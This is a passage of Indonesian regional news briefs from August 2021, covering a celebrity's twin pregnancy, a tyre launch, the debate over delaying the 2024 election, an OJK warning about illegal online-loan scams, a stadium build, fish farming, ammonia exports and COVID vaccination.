bakal punya adek? "Sampai bilang begitu, jadi sampai saya meneteskan air mata pada saat itu. Ternyata saya dan suami saja belum ada kepikiran itu, tapi Danis yang baru umur 7 tahun uda berpikir kesitu," katanya. Dari situ akhirnya tergeraklah hati Percha dan Koko untuk program. Ia pun mulai makan, makanan yang sehat-sehat. "Kalau sebelumnya kan asal comot aja kalau lapar, tapi kini makannya yang sehat-sehat. Tapi ini sekaligus melatih diri sendiri," ungkapnya. Menurutnya, ia serius untuk program kehamilan sejak tahun 2021. Alhamdulillah langsung dilancarkan oleh Allah. Sekali menjalankan program langsung jadi dan kembar. "Awalnya sempat shock, karena ada salah satu calon baby nya itu yang kata dokter, ya udahlah nggak usah diharapkannya yang satunya. Yang penting uda jadi yang satu ya, uda digituin," katanya. Tetapi ia tidak putus asa, dan terus berdoa meminta pada Allah supaya dua-duanya jadi. Alhamdulillah ternyata yang tadinya kecil jadi nyusul jadi besar. "Alhamdulillah kondisinya baik-baik saja dan sehat. Waktu USG di 16 Minggu uda kelihatan jenis kelaminnya cowok dan cewek," katanya. Menurut Percha ia memang uda biasa membaca Al-Qur'an. Apapun yang terjadi didalam tubuh ini dari Allah, maka ketika dikasih titipan lagi dalam perut ini semakin bertambah bersyukur dan ingin dekat dengan Allah. Saat hamil Danis hatam lima kali Al-Qur'an, dan harapannya saat hamil ini juga bisa seperti itu. Semoga sempat lebih dari itu. Sebelum Ramadan tadi uda khatam satu kali dan ini sedang berjalan hampir setengah. (Dari berbagai sumber).

Gajah Tunggal Hadirkan Ban Berperforma Tinggi

Jakarta, FNN - PT Gajah Tunggal Tbk selaku produsen ban GT Radial meluncurkan generasi baru ban berperforma tinggi Champiro SX-R yang ditujukan untuk para pengendara mobil yang menyukai performa balap “Ban GT Radial Champiro SX-R diciptakan untuk para pengemudi mobil yang membutuhkan ban dengan spesifikasi ultra high performance sport dan menyukai racing atau balap," ujar Head of Marketing Division PT Gajah Tunggal Tbk. Leonard Gozali dalam siaran pers dikutip Antara, Jumat, 20 Agustus 2021. GT Radial Champiro SX-R memiliki pola telapak ban asimetris yang diklaim dapat menghasilkan kendali dan kontrol yang optimal saat digunakan. Selain itu, ban tersebut juga dilengkapi dengan teknologi Professional Racing Grade Canopy yang dapat menghasilkan traksi dan grip maksimal pada jalanan lurus dan menikung. Inovasi lainnya dari ban GT Radial Champiro SX-R adalah hadirnya teknologi Special Tread Formula yang mampu meningkatkan stabilitas dan performa serta mengadopsi teknologi High-module Polyester Carcass sehingga dapat menghindari terjadinya deformasi saat suhu tinggi. Desain alur pola bergelombang juga disebut dapat menghasilkan performa menikung yang presisi. “Ban tersebut juga memberikan hasil yang prima untuk extreme dry performance," kata Leonard. Ban GT Radial Champiro SX-R akan tersedia dalam 5 ukuran, yaitu 195/50 R15, 215/45 R17, 235/45 R17, 245/40 R17, dan 265/35 R18 XL. Untuk ukuran 195/50 R15 sudah tersedia di tujuh titik lokasi outlet resmi PT Gajah Tunggal, yaitu di Tirezone Ottoban Warung Buncit, Tirezone Jatiwaringin, Tirezone Cibubur, Tirezone Serpong, Tirezone Mayjen Sungkono, Tirezone Pluit, dan Tirezone Yogyakarta. (MD).

Konstitusi tidak Membuka Celah Penundaan Pemilu 2024

Semarang, FNN - Konstitusi tidak membuka celah terhadap penundaan Pemilihan Umum (Pemilu) 2024. Penundaan baru bisa dilakukan jika terlebih dahulu mengamandemen Pasal 7 Undang-Undang Dasar Negara Republik Indonesia (UUD NRI) Tahun 1945. Hal itu dikatakan Anggota Dewan Pembina Perludem (Perkumpulan untuk Pemilu dan Demokrasi), Titi Anggraini, kepada Antara, di Semarang, Jumat pagi, 20 Agustus 2021. Pernyataan Titi itu disampaikan sehubungan dengan adanya wacana pengunduran pelaksanaan Pemilu dari 2024 ke tahun 2027. Alasan wacana pengunduran itu karena pandemi Coronavirus Disease 2019 (Covid-19) yang masih melanda tanah air. "Konstitusi dan Putusan Mahkamah Konstitusi Nomor 55/PUU-XVII/2019 tidak membuka celah penundaan Pemilihan Umum (Pemilu) 2024," ujar Titi. Menyinggung Pasal 8 Ayat (3) UUD NRI Tahun 1945, Titi menegaskan, ketentuan pelaksana tugas kepresidenan adalah Menteri Luar Negeri, Menteri Dalam Negeri, dan Menteri Pertahanan secara bersama-sama tidak bisa berlaku untuk situasi pengunduran waktu pemilu. Disebutkan dalam Pasal 8 Ayat (3), jika Presiden dan Wakil Presiden mangkat, berhenti, diberhentikan, atau tidak dapat melakukan kewajibannya dalam masa jabatannya secara bersamaan, pelaksana tugas kepresidenan adalah Menteri Luar Negeri, Menteri Dalam Negeri, dan Menteri Pertahanan secara bersama-sama. Pasal itu menyebutkan selambat-lambatnya 30 hari setelah itu, Majelis Permusyawaratan Rakyat (MPR) menyelenggarakan sidang untuk memilih Presiden dan Wakil Presiden dari dua pasangan calon presiden dan wakil presiden yang diusulkan oleh partai politik atau gabungan partai politik. Pasangan calon presiden dan wakil presidennya meraih suara terbanyak pertama dan kedua dalam pemilihan umum sebelumnya, sampai berakhir masa jabatannya. "Pengaturan yang saat ini berlaku tidak membuka celah adanya penundaan pemilu, kecuali kalau penundaan itu dengan cara mengamendemen Pasal 7 UUD NRI 1945," kata Titi yang juga Wakil Sekretaris Lembaga Hikmah dan Kebijakan Publik (LHKP) PP Muhammadiyah. Dalam Pasal 7 UUD NRI Tahun 1945 disebutkan, Presiden dan Wakil Presiden memegang jabatan selama 5 tahun, dan sesudahnya dapat dipilih kembali dalam jabatan yang sama, hanya untuk satu kali masa jabatan. (MD).

Jumlah Transaksi Investor Sumut di Pasar Modal Meningkat

Medan, FNN - Jumlah transaksi investor Sumatera Utara di pasar modal tren meningkat sejalan dengan bertambahnya investor pemegang single investor identification (SID) /nomor tunggal identitas investor. "Meski masih berfluktuasi, tapi transaksi di pasar modal tren naik. Kondisi itu menggembirakan karena terjadi di tengah pandemi COVID-19,"ujar Kepala Kantor Perwakilan Bursa Efek Indonesia (BEI) Sumut , Muhammad Pintor Nasution di Medan, Kamis. Transaksi investor Sumut di pasar modal sempat mencapai Rp40, 909 triliun pada Januari 2021. "Terakhir di Juni, ada transaksi sebesar Rp14, 497 triliun atau naik dari realisasi di April senilai Rp12, 216 triliun dan Mei 9,468 triliun,"ujarnya. Dia menjelaskan, hingga posisi Juni 2021, jumlah pemegang SID di Sumut sudah 129 845 . "Potensi jumlah investor masih cukup besar di Sumut karena itu BEI terus menyoalisasikan investasi di pasar modal,"katanya. Pintor menyebutksn, Sumut tercatat sebagai salah satu daerah dengan penambahan investor terbanyak dengan transaksi yang juga tren meningkat. Menurut Pintor, meningkatnya jumlah investor karena ketertarikan masyarakat usia milenial untuk bermain saham di pasar modal juga semakin tinggi. (mth)

OJK Sulteng: Kenali Macam-Macam Modus Pinjol Ilegal Agar Tidak Tertipu

Palu, FNN - Kepala Otoritas Jasa Keuangan (OJK) Provinsi Sulawesi Tengah (Sulteng) Gamal Abdul Kahar mengimbau masyarakat mengenali macam-macam modus pinjaman online (Pinjol) ilegal dalam menawarkan pinjaman. Maraknya penawaran pinjol ilegal dengan iming-iming pinjaman cepat dan mudah membuat masyarakat harus ekstra hati-hati agar tidak terjebak. "Pertama, modus penawaran pinjol melalui WhatssApp atau Short Message Service (SMS). Muncul pesan dari SMS atau WA yang berasal dari nomor tidak dikenal yang mengklaim dapat mengajukan pinjaman tanpa persyaratan apapun," katanya di Kota Palu, Kamis. Faktanya, kata Gamal, pinjol yang terdaftar dan berizin OJK dilarang menyampaikan penawaran melalui sarana komunikasi pribadi tanpa persetujuan pengguna. Untuk mengajukan pinjaman harus memenuhi sejumlah persyaratan guna memitigasi risiko yang harus ditanggung oleh platform dan penggunanya. "Kedua, modus langsung transfer ke rekening korban. Pinjol ilegal langsung melakukan transfer sejumlah uang ke rekening korban, padahal korban tersebut tidak pernah meminjam dana pada pinjol ilegal yang melakukan transfer,"ujarnya. Ia menyebut niat dibalik tindakan tersebut adalah agar pinjol dapat meneror korban dan menagih denda apabila telah melebihi tempo. Ketiga, modus mereplikasi nama yang mirip dengan pinjol legal. Pinjol ilegal mengiklankan produknya dengan menggunakan nama yang hanya berbeda spasi, satu huruf, huruf berkapotal besar atau kecil mirip seperti pinjol legal untuk mengelabui korban. "Bahkan, banyak modus pinjol ilegal yang memasang logo OJK dalam iklannya untuk menipu calon korban," tambahnya. (mth)

Dewan Kesenian Jakarta Luncurkan Situs Kritik Sastra dan DKJ NET

Jakarta, FNN - Dewan Kesenian Jakarta meluncurkan situs kritik sastra tengara.id dan DKJ NET yang memproduksi konten seni, sekaligus akses publik tambahan untuk produksi pengetahuan dalam jejaring konten digital DKJ. Ketua Dewan Kesenian Jakarta, Danton Sihombing mengatakan beradaptasi dan bermigrasi ke platform daring menjadi cara untuk memelihara kedekatan dengan masyarakat yang mendorong peluncuran tersebut. "Pilihannya tinggal terdistruksi atau mendistruksi (pandemi)," kata Danton dalam konferensi pers daring, Kamis. Dia mengatakan program kerja DKJ periode 2020-2023 adalah memperkuat ekosistem kesenian di Jakarta yang diterjemahkan melalui program advokasi, program kesenian berbasis platform, dan pemanfaatan media daring. DKJ NET dan situs kritik sastra tengara.id adalah wujud pemanfaatan media online sebagai wahana produksi pengetahuan, ruang percakapan dan sekaligus menjalankan fungsi reflektif dalam praktik-praktik kesenian. DKJ ingin mengisi kelangkaan pertumbuhan kritik sastra dalam kehidupan kesusastraan Indonesia lewat tengara.id. Sebab, kritik sastra bukan cuma jembatan penghubung karya sastra dan pengarang dengan pembaca, tapi jadi bukti keterampilan seni menulis, keterbukaan wawasan dan kehidupan intelektual. Kehadiran situs kritik sastra ini menantang kemunculan kritik sastra, pembicaraan karya sastra yang tekun dan bernas, juga pembicaraan yang hangat antara sastrawan tentang kesusastraan dan soal-soal lain di sekitarnya. Website tengara.id dibidani oleh Komite Sastra periode 2020-2023, Hasan Aspahani, Yusi Avianti Pareanom, Ben Sohib, Jaronah Abdullah, dan Avianti Armand. Situs tengara.id akan dipimpin oleh dua orang editor/redaktur utama dan seorang redaktur pelaksana yang akan bertanggungjawab terhadap pengelolaan situs ini. Untuk terbitan perdana, hingga satu tahun ke depan, Zen Hae dan Martin Suryawijaya telah bersedia menahkodai pelayaran pertama, dengan Dewi Kharisma Michellia sebagai pelaksana penuh. Setiap terbitan, berkala tiap 4 bulan sekali, akan mengangkat satu tema atau tajuk tertentu, yang terbuka bagi siapa pun untuk menanggapinya. Sementara itu, Wakil Ketua 1 DKJ Hikmat Darmawan mengatakan ide DKJ NET sebetulnya telah ada sejak beberapa tahun lalu, dimulai dari ide membuat kanal komunikasi dan memfasilitasi produksi informasi penuh ilmu yang ada di DKJ. DKJ lewat DKJ NET berupaya mengembangkan dan meluaskan “Suara Jernih dari Cikini” dalam khasanah ragam pemikiran dan perspektif seni budaya di Indonesia dan dunia. Ragam luaran pengetahuan dalam kemasan feature audio visual, acara bincang maupun kurasi kearsipan, baik berbentuk video dan podcast dengan perspektif khas DKJ akan tumbuh dan bernaung di DKJ NET. Kanal DKJ NET akan menawarkan produksi konten seni budaya yang mendalam, kritis, dan khas, tidak menutup kemungkinan juga untuk yang eksploratif dan eksperimental secara estetik. Konten yang dihasilkan sementara ini diambil dari bahan yang ada di DKJ, nantinya tidak menutup kemungkinan DKJ NET berkolaborasi dengan komunitas dalam membuat konten-konten selanjutnya yang lebih kaya sumber. Setelah Sayembara Novel, Sayembara Manuskrip Puisi, Sayembara Penulisan Cerita Anak, Sayembara Kritik Sastra, dan Jakarta International Literary Festival, Dewan Kesenian Jakarta berharap tengara.id dapat menjadi platform yang bisa memberi kontribusi bagi perkembangan sastra Indonesia. (mth)

Wagub Jateng Pastikan Insentif Guru Keagamaan Masih Berjalan

Semarang, FNN - Wakil Gubernur Jawa Tengah Taj Yasin Maimoen memastikan bahwa program pemberian insentif bagi para guru keagamaan di provinsi setempat pada 2021 masih berjalan, meskipun dalam kondisi pandemi COVID-19. "Alhamdulillah program ini masih berlanjut dengan alokasi anggaran sebesar Rp254 miliar lebih, memang akhir-akhir ini banyak dari guru yang menanyakan terkait insentif dari Pemprov Jateng," katanya di Semarang, Kamis. Gus Yasin, sapaan akrab Wagub Jateng, menyebutkan pada 2021 tercatat ada 211.455 guru, baik dari agama Islam, Katholik, Kristen, Hindu dan Budha, yang akan menerima insentif. Menurut dia, program pemberian insentif bagi guru keagamaan yang telah dilaksanakan sejak 2019 itu diberikan kepada guru madin, TPQ dan madrasah di pondok pesantren, serta guru pengajar di vihara, gereja dan agama yang ada di Indonesia. Kendati demikian, Gus Yasin mengungkapkan bahwa pihaknya sedang melakukan validasi data penerima insentif sebab selama pandemi terjadi perubahan data. "Jadi informasi saat ini sudah saya paraf dan sudah di-acc pak gubernur. Karena pandemi ada guru yang terpapar dan ada perubahan data, maka perlu penyelarasan, memasukkan input penerima baru. Ini masih proses di Bank Jateng Syariah untuk pendataan dan penyaluran," ujarnya. Dengan adanya program tersebut, Gus Yasin berharap dapat meningkatkan kesejahteraan para guru keagamaan, sekaligus memantapkan untuk mendedikasikan diri dalam menyikapi moral anak bangsa saat ini. "Harapan pertama memang munculnya program ini kita melihat bahwa madrasah dan diniyah nonformal itu masih belum tersentuh pemerintah, maka kami mengusulkan instentif untuk kesejahteraan agar guru keagamaan lebih mantap lagi untuk mendedikasikan pendidikan agama, untuk menyikapi moral anak bangsa," katanya. (mth)

WIKA Ungkap JIS Akan Jadi Stadion Berteknologi Tinggi

Jakarta, FNN - PT Wijaya Karya (Persero) Tbk atau WIKA mengungkapkan Jakarta International Stadium (JIS) nantinya akan menjadi stadion megah dengan kapasitas besar dan berteknologi tinggi. "Ini merupakan stadion yang menurut saya tidak hanya berteknologi tinggi di bagian atap saja, namun juga semua bagiannya. Nanti, kalau sudah selesai akan terlihat tata pencahayaannya atau lightning, kemudian kapasitasnya juga cukup besar di atas 80.000 orang," ujar Direktur Utama WIKA Agung Budi Waskito dalam diskusi daring di Jakarta, Kamis. Agung menyampaikan untuk bagian atap stadion, JIS bisa ditutup dan dibuka secara mekanis. Artinya, stadion ini bisa dipakai dalam segala cuaca, mau dipakai saat hujan bisa ditutup ataupun pada saat panas, pagi maupun malam. "Saya kira ini kebanggaan bagi WIKA untuk bisa berpartisipasi dalam pembangunan Jakarta International Stadium," kata Agung. Sebelumnya, WIKA melalui PT Wijaya Karya Industri & Konstruksi dan PT Binatama Akrindo (WIKON BA KSO) selaku pelaksana pekerjaan struktur atap dan retractable roof telah berhasil melakukan lifting atap dengan bentang terpanjang 270 meter dan bobot terberat 3.900 ton yang dilakukan secara bersamaan dengan total ketinggian 70 meter. Keberhasilan pekerjaan ini merupakan kontribusi antara inovasi, kolaborasi dan komitmen dari para pemangku kepentingan untuk menjawab tantangan ketidakmungkinan, sehingga mampu diwujudkan. Melalui kontribusi pekerjaan struktur atap baja dan retreactable roof, WIKA mendapatkan pengalaman melaksanakan pekerjaan lifting struktur atap stadion dengan bentang terpanjang dan terberat di Indonesia dengan penggunaan teknologi dan perencanaan yang cermat serta presisi. WIKA melalui PT Wijaya Karya Bangunan Gedung Tbk (WEGE) yang tergabung dalam konsorsium bersama PT Jaya Konstruksi (Jakon) dan PT Pembangunan Perumahan (Persero) Tbk (PTPP) ditetapkan sebagai pemenang tender Proyek Pembangunan JIS di Jakarta Utara dengan total nilai Rp4,083 triliun dengan porsi WEGE mencapai 51 persen. Stadion ini didesain untuk memenuhi standar teknik oleh federasi sepakbola dunia, FIFA (Fédération Internationale de Football Association) dan memiliki kualifikasi green building. (mth)

Pemkot Makassar Fasilitasi UMKM Kantongi Sertifikasi Halal MUI Gratis

Makassar, FNN - Pemerintah Kota Makassar melalui Dinas Koperasi dan UMKM Makassar siap memfasilitasi pelaku UMKM untuk memperoleh sertifikasi halal MUI (Majelis Ulama Indonesia) secara gratis terhadap produk makanan dan minuman yang mereka miliki. Kepala Bidang UKM (Usaha Kecil Menengah Dinas Koperasi Makassar Hartati Andi Usman di Makassar, Kamis, mengemukakan bahwa pihaknya menyiapkan kuota bagi 100 UMKM yang ingin memperoleh Program Fasilitasi Sertifikasi Halal MUI secara gratis pada tahun 2021. "Hingga hari ini kami siapkan kuota 100 UMKM yang mau memperoleh labelisasi halal dari produknya dengan berbagai persyaratan. Kecuali jika kembali ada refocusing, bisa saja kuotanya berkurang," ungkap Hartati. Pasalnya, Program Sertifikasi Halal MUI secara gratis ini telah disiapkan sejak tahun 2020 lalu, namun karena adanya pandemi dan terjadi refocusing anggaran, maka program ini ditunda dan baru direalisasikan pada tahun 2021. Hingga saat ini, Dinas Koperasi dan UMKM Makassar mencatat hanya 10 UMKM yang telah mendaftarkan dirinya pada program tersebut. Padahal jika kepengurusannya dilakukan secara mandiri atau pribadi, pelaku UKM harus mengeluarkan dana sekitar Rp4 juta. "Maka dari itu kita harap, UMKM bisa segera melakukan pendaftaran. Karena informasi ini sudah kami sebar ke berbagai grup WhatsApp pelaku UMKM di Makassar," kata Hartati. Ia mengakui bahwa berbagai UKM unggulan Kota Makassar telah mengantongi sertifikasi halal, karena itu ia mendorong pelaku UKM yang belum punya labelisasi halal pada produk yang dijajakan agar bisa memanfaatkan program ini. Hartati menyebutkan ini menjadi program pemerintah guna perekonomian UMKM bisa tetap pulih dan berkelanjutan, ditambah dengan dana PEN (Pemulihan Ekonomi Nasional) yang dikucurkan langsung oleh pemerintah pusat melalui pihak perbankan. (mth)

Menteri Trenggono Dukung Kampung Budi Daya Ikan Guna Dongkrak Ekonomi

Lebak, FNN - Menteri Kelautan dan Perikanan Sakti Wahyu Trenggono mendukung pengembangan kampung-kampung budi daya perikanan di Indonesia guna mendongkrak pertumbuhan ekonomi serta memenuhi ketersediaan pangan. "Kami berharap pengembangan budi daya air tawar ikan patin mampu mensejahterakan masyarakat," kata Menteri Trenggono saat kegiatan peresmian Kampung Budi daya Patin Cisilad, Cileles, Kabupaten Lebak, Jawa Barat, Kamis. Dalam kegiatan tersebut Menteri Trenggono sekaligus menebar 11.000 benih ikan patin di kolam budi daya. “Ini adalah inisiasi yang baik, gerakan yang baik sebagai pengembangan model budi daya pedalaman dengan ikan yang dibudidaya sesuai dengan kearifan lokal. Model ini bisa mensejahterakan masyarakat di sini,” ujar Menteri Trenggono. Ia menjelaskan pada pengembangan budi daya tersebut ada 196 kolam di Kampung Patin Cisalad yang memiliki luas 14 hektare dengan hampir tiga juta bibit ikan patin. Pembangunan kampung budi daya perikanan sesuai dengan kearifan lokal, katanya, merupakan salah satu program prioritas Kementerian Kelautan dan Perikanan (KKP) untuk tahun 2021-2024. Pengembangan budi daya ikan patin itu tujuan untuk meningkatkan Penerimaan Negara Bukan Pajak (PNBP) serta menjaga keberlanjutan ekosistem dengan model budi daya terukur. Dampak ekonomi yang timbul dalam usaha pembudidayaan ikan ini banyak, katanya, yaitu menyerap tenaga kerja dari masyarakat sekitar sehingga perputaran ekonomi di wilayah Lebak berkembang pesat. "Pengembangan model budi daya ini terukur dan dicoba dikembangkan selama tiga tahun ke depan,” kata Menteri Trenggono. Ia mengatakan ikan patin sendiri merupakan salah satu komoditas unggulan budi daya air tawar di Indonesia yang dapat mendukung ketahanan pangan dan juga merupakan komoditas ekspor dengan nilai cukup tinggi. Dalam Rencana Pembangunan Jangka Menengah Nasional (RPJMN) 2020 – 2024 disebutkan bahwa ikan patin merupakan salah satu komoditas strategis perikanan budi daya dan pada 2020 jumlah produksi ikan patin nasional sebesar 408.538,657 ton. Saat ini potensi budi daya air tawar ikan patin masih besar di seluruh Indonesia dan nilai ekspor juga bagus, katanya. "Untuk itu KKP akan secara serius mengembangkan komoditas ini sehingga benar-benar dapat menjadi salah satu komoditas andalan yang dapat meningkatkan perekonomian masyarakat,” kata Menteri Trenggono. Menteri Trenggono mendorong jajarannya melalui BLU LPMUKP, DJPB, dan DJPDSPKP untuk dapat mendukung infrastruktur dan juga sistem pembibitan hingga sistem pemasaran agar proses budi daya ikan patin Cisilad dapat lebih efisien. “Saya ini ajak Direktur BLU, Dirjen Budidaya, dan Dirjen PDSPKP, Dirjen dan Direktur agar mendukung Kampung Budi daya Cisilad sehingga bisa menjadi model percontohan budi daya pedalaman, " kata Menteri Trenggono. (mth)

Industri Pupuk Ekspor 327 Ribu Metrik Ton Amoniak

Jakarta, FNN - Industri pupuk yang juga produsen urea dengan kapasitas terbesar di Asia Tenggara dan Indonesia, PT Pupuk Kalimantan Timur (PKT) mengekspor 327.541 Metric Ton (MT) amoniak ke berbagai negara di belahan dunia, dengan nilai penjualan mencapai Rp1,79 Triliun selama semester satu 2021 (Januari - Juni). “Memiliki peran sebagai produsen urea dengan kapasitas terbesar di Asia Tenggara dan Indonesia, segala bentuk aktivitas ekspor tentu kami laksanakan setelah kebutuhan di dalam negeri telah terpenuhi, baik untuk sektor subsidi maupun non subsidi, terutama di wilayah - wilayah yang menjadi tanggung jawab perusahaan,” kata Direktur Utama PKT Rahmad Pribadi lewat keterangannya di Jakarta, Kamis. Adapun produksi amoniak mencapai 2,82 juta ton sepanjang 2020, atau meningkat 3,89 persen dibanding jumlah produksi 2019. Rahmad mengungkapkan, saat ini potensi pasar global terbilang besar, baik untuk kawasan Asia maupun Amerika dan Eropa, sehingga dengan peningkatan ekspor produk pupuk dalam negeri, akan berdampak terhadap peningkatan devisa negara secara signifikan. Ekspor Amoniak ini merupakan upaya PKT untuk turut mendorong pertumbuhan ekonomi nasional. Diketahui, kegiatan ekspor amoniak pada semester satu 2021, selain menggunakan metode Free on Board (FoB), juga menggunakan metode Cost, Insurance and Freight (CIF), dengan mengirim Amoniak sejumlah 5.250 MT menggunakan kapal armada milik PT Pupuk Indonesia Logistik (Pilog). Metode CIF ini dipilih oleh PKT guna mengoptimalkan sinergi antar kedua anak usaha Pupuk Indonesia tersebut. Adapun selama periode paruh pertama 2021, negara tujuan ekspor Amoniak PKT adalah Australia, India, Korea Selatan, Malaysia, Filipina, Taiwan, Thailand, Vietnam, Cina, Jepang dan Singapura. Di industri petrokimia, senyawa amoniak dikenal sebagai gas dengan bau yang khas. Dalam kehidupan sehari-hari, amoniak memiliki beberapa kegunaan sebagai bahan baku, baik untuk kegunaan industri maupun rumah tangga, seperti bahan bakar maritim, obat obatan, bahan pembuatan amonium klorida pada baterai, asam nitrat, zat pendingin, kertas plastik dan detergen. Menurut Rahmad, yang tak kalah penting, hampir 80 persen penggunaan gas Amoniak dari industri dunia adalah untuk bahan dasar pembuatan pupuk Urea. Capaian perusahaan ini juga selaras dengan tema utama HUT Republik Indonesia tahun ini, yakni Indonesia Tangguh, Indonesia Tumbuh. Menurut Rahmad, Tangguh karena PKT sebagai Badan Usaha Milik Negara masih mampu untuk memanfaatkan momentum perkembangan pasar baik domestik, bahkan hingga pasar internasional. Tumbuh, karena perusahaan mampu terus tumbuh dan berkontribusi bagi pertumbuhan ekonomi negara melalui kegiatan ekspor kali ini. “Masih dalam semangat perayaan kemerdekaan, capaian ekspor Amoniak di semester satu tahun ini turut menjadi kebanggaan tersendiri bagi perusahaan, mengingat perusahaan dapat memenuhi kuota produksi pupuk nasional, sekaligus membuktikan bahwa produk ekspor produksi dalam negeri memiliki daya saing tinggi dan diterima pasar internasional dengan sangat baik,” tutup Rahmad. (mth)

Gubernur Kepri Pertimbangkan PTM Jika Seluruh Pelajar Sudah Divaksin

Tanjungpinang, FNN - Gubernur Kepulauan Riau (Kepri) Ansar Ahmad menyebut akan mempertimbangkan pelaksanaan pembelajaran tatap muka (PTM) SMA/SMK/sederajat jika seluruh pelajar sudah disuntik vaksin. Ansar tak menampik saat ini angka COVID-19 di daerah itu cenderung mengalami penurunan sebagai dampak dari penerapan PPKM, kendati begitu pihaknya belum berwacana mengizinkan kembali PTM di sekolah. "Tapi tetap kami bahas dulu bersama dinas pendidikan. Kalau pelajar sudah vaksin semua, maka PTM bisa saja digelar, tapi dibatasi 50 persen," katanya di Tanjungpinang, Kamis. Ansar menyatakan capaian vaksinasi anak usia 12-17 tahun, sampai sejauh ini sebesar 42,23 persen atau 88.110 orang dari total target 227 ribu orang. Dia mengatakan pelaksanaan vaksinasi anak-anak itu mengalami kendala sebagai imbas dari terbatasnya ketersediaan jenis vaksin Sinovac. Pemprov Kepri terus mendesak pemerintah pusat, melalui Kementerian Kesehatan, agar memenuhi ketersediaan vaksin bagi kelompok usia tersebut. "Vaksin Sinovac terbatas. Maka itu kita rutin menyurati pusat, karena anak-anak tidak boleh vaksin lain," ucap Ansar. Kendala terbatasnya ketersediaan vaksin juga dihadapi pada kelompok masyarakat usia 18 tahun ke atas, sehingga target 100 persen sampai 17 Agustus 2021 tidak bisa tercapai. Menurutnya hal itu bukan disebabkan kinerja juru vaksin yang lambat, namun memang pasokan vaksin COVID-19 dari pusat ke daerah terbatas. "Sekarang vaksinasi masyarakat umum sudah 71,35 persen dari target 1,1 juta orang. Kita menyerah bukan karena masalah kinerja, tapi stok vaksin minim," demikian Ansar. (mth)

Gubernur Aceh Apresiasi Daerah Peraih Anugerah Desa Wisata Indonesia

Banda Aceh, FNN - Gubernur Aceh, Nova Iriansyah memberikan apresiasi kepada lima kabupaten/kota di Aceh yang berhasil meraih Anugerah Desa Wisata Indonesia Tahun 2021 dari Kementerian Pariwisata dan Ekonomi Kreatif RI. “Alhamdulillah, tujuh gampong/desa wisata dari lima kabupaten/kota di Aceh berhasil masuk dalam 300 Besar Desa Wisata Anugerah Desa Wisata Indonesia 2021," kata Gubernur Aceh, Nova Iriansyah di Banda Aceh, Kamis. Ada pun lima kabupaten/kota yang Desa Wisatanya itu berhasil meraih anugerah tersebut yaitu, Kota Sabang dengan Desa Wisata Aneuk Lot, Aceh Tengah dengan Desa Wisata Hakim Balee Bujang dan Bebesen. Kemudian, Kabupaten Aceh Besar dengan Desa Wisata nusa, selanjutnya Kabupaten Bener Meriah dengan Desa Wisata Damaran Baru Eco Village, dan terakhir Kota Banda Aceh dengan Desa Wisata Gampong Ulee Lheu dan Gampong Blang Cut. Ia meminta masyarakat di Desa Wisata tersebut untuk mempersiapkan diri dengan baik dengan mendesain sebagus mungkin nuansa dan pelayanan pariwisata di desa tempat tinggal mereka. “Dengan begitu pada malam puncak Anugerah Desa Wisata Indonesia 2021 pada tanggal 7 Desember 2021 nanti, salah satu desa wisata dari Aceh dapat terpilih sebagai desa wisata terbaik atau terfavorit,” katanya. Gubernur juga berharap masyarakat dapat terus memanfaatkan potensi yang ada di desanya, agar bermanfaat dan bernilai ekonomi untuk kemajuan daerah. Menurut dia, kehadiran Desa Wisata dapat juga menjadi motor baru penggerak pertumbuhan ekonomi masyarakat Aceh. Sebelumnya, Menteri Pariwisata dan Ekonomi Kreatif RI, Sandiaga Uno, mengumumkan 300 besar desa wisata yang berhasil meraih Anugerah Desa Wisata 2021 dari seluruh Indonesia melalui laman media sosial Kemenparekraf RI. Anugerah Desa Wisata Indonesia 2021 diluncurkan oleh Menteri Pariwisata dan Ekonomi Kreatif pada Jumat (30/04/2021) lalu di Gedung Sapta Pesona, Jakarta. Anugerah Desa Wisata Indonesia 2021 merupakan ajang pemberian penghargaan kepada desa-desa wisata yang memiliki prestasi dengan kriteria-kriteria penilaian dari Kemenparekraf/Baparekraf. Kegiatan tersebut bertujuan menjadikan Desa Wisata Indonesia sebagai destinasi pariwisata berkelas dunia dan berdaya saing tinggi. Anugerah Desa Wisata Indonesia 2021 mengangkat tema “Indonesia Bangkit”. (mth)

Wamentan Dukung Sambas Jadi Lumbung Beras Kalimantan Barat

Jakarta, FNN - Wakil Menteri Pertanian Harvick Hasnul Qalbi mendukung dan siap memfasilitasi niatan Pemerintah Kabupaten Sambas yang ingin menjadikan daerah tersebut sebagai lumbung beras di Kalimantan Barat. "Presiden punya semangat Indonesia Sentris. Artinya setiap anak bangsa, di sudut negeri mana pun, harus merasakan kehadiran negara. Untuk itulah kami hadir disini", terangnya," kata Wamentan Harvick dalam keterangannya yang diterima di Jakarta, Kamis. Badan Penelitian dan Teknik Pertanian (BPTP) Kalimantan Barat telah menemukan varietas unggul Padi B-36 dan B-37 dari hasil penelitian yang dilakukannya. Menurut Kepala BPTP Kalbar Rustan Massinai, varietas unggul ini mampu meningkatkan hasil panen dari hanya 6 ton per hektar menjadi 8,05 ton per hektar. Menurut Rustan, dari hasil panen pertama padi varietas B-36 dan B-37 ini akan dihasilkan 40 ton gabah yang semuanya tidak akan dikonsumsi, tetapi akan langsung dijadikan bibit baru yang akan dibagikan gratis kepada petani. "Dengan 40 ton bibit gratis ini, insya Allah akan dihasilkan 100 Ton pada panen berikutnya yang siap konsumsi," tambah Rustan. Target untuk menjadikan Kabupaten Sambas sebagai Lumbung Padi Kalbar layaknya Kabupaten Kerawang di Pulau Jawa, juga akan dicapai dengan membuat panen padi tiga kali dalam setahun dengan bibit varietas Unggul B-36 dan B-37 temuan BPTP Kalbar. Dalam kunjungannya yang kedua dalam dua minggu terakhir ini, Wamentan Harvick Hasnul Qolbi juga menyempatkan untuk memberikan bibit Kelapa Dalam dan Jeruk Sambas gratis kepada petani di Kecamatan Selakau Kabupaten Sambas, Kalbar. Harvick Hasnul Qolbi selaku Wakil Menteri Pertanian RI mengatakan senang bisa menginjakkan kaki dan meninjau tanam dan panen di Sambas. "Saya juga menyambut baik, support, atas kesungguhan pemuda tani setempat untuk mengembangkan pertanian. Sektor ini sangat potensial dan insyaallah punya masa depan yang cerah", kata Wakil Menteri Pertanian RI tersebut. (mth)

Bima Arya Sebut Bantuan Logistik Tetap Dibutuhkan Warga Terdampak

